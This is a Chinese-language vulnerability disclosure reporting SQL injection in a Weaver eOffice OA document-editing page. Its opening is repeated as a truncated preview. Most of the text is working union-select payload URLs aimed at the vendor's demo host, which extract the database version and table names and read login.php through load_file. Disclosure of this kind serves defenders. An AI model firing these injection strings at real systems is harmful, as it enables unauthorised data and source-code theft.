### 简要描述： 还是OA系统，用户较多。 ### 详细说明： 测试官方站点，首先用使用测试账户xj登录，然后访问下面的地址。 ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` 其中的CONTENT_ID参数能够注射SQL语句。 ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` [<img src="https://images.seebug.org/upload/201308/16165900e6a215aa1e223afbfb9199b5c7ea17d4.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/16165900e6a215aa1e223afbfb9199b5c7ea17d4.png) 查询表名，这里的CONTENT_ID在每次查询时要变换值，不然程序提示信息被锁定： ```...
### 简要描述： 还是OA系统，用户较多。 ### 详细说明： 测试官方站点，首先用使用测试账户xj登录，然后访问下面的地址。 ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` 其中的CONTENT_ID参数能够注射SQL语句。 ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` [<img src="https://images.seebug.org/upload/201308/16165900e6a215aa1e223afbfb9199b5c7ea17d4.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/16165900e6a215aa1e223afbfb9199b5c7ea17d4.png) 查询表名，这里的CONTENT_ID在每次查询时要变换值，不然程序提示信息被锁定： ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-5%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_schema=database()%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` [<img src="https://images.seebug.org/upload/201308/16170707e9f754a62af3f54cc233ec6ecf4fde3d.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/16170707e9f754a62af3f54cc233ec6ecf4fde3d.png) 当然也可以load_file文件源码： ``` http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-14%20union%20select%201,2,3,4,5,hex(load_file(0x443A5C656F6666696365382E336164765C776562726F6F745C6C6F67696E2E706870)),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr= ``` [<img src="https://images.seebug.org/upload/201308/161719400af2a7bbd7b97d65b34c1d3945ec0ebd.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/161719400af2a7bbd7b97d65b34c1d3945ec0ebd.png) 用16进制编辑器将上面load_file出来的内容保存，然后再zend解密，得到login.php源码： [<img src="https://images.seebug.org/upload/201308/16172550624d21dbb85f4370e309bcc4b4c24397.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/16172550624d21dbb85f4370e309bcc4b4c24397.png) ### 漏洞证明： 同上
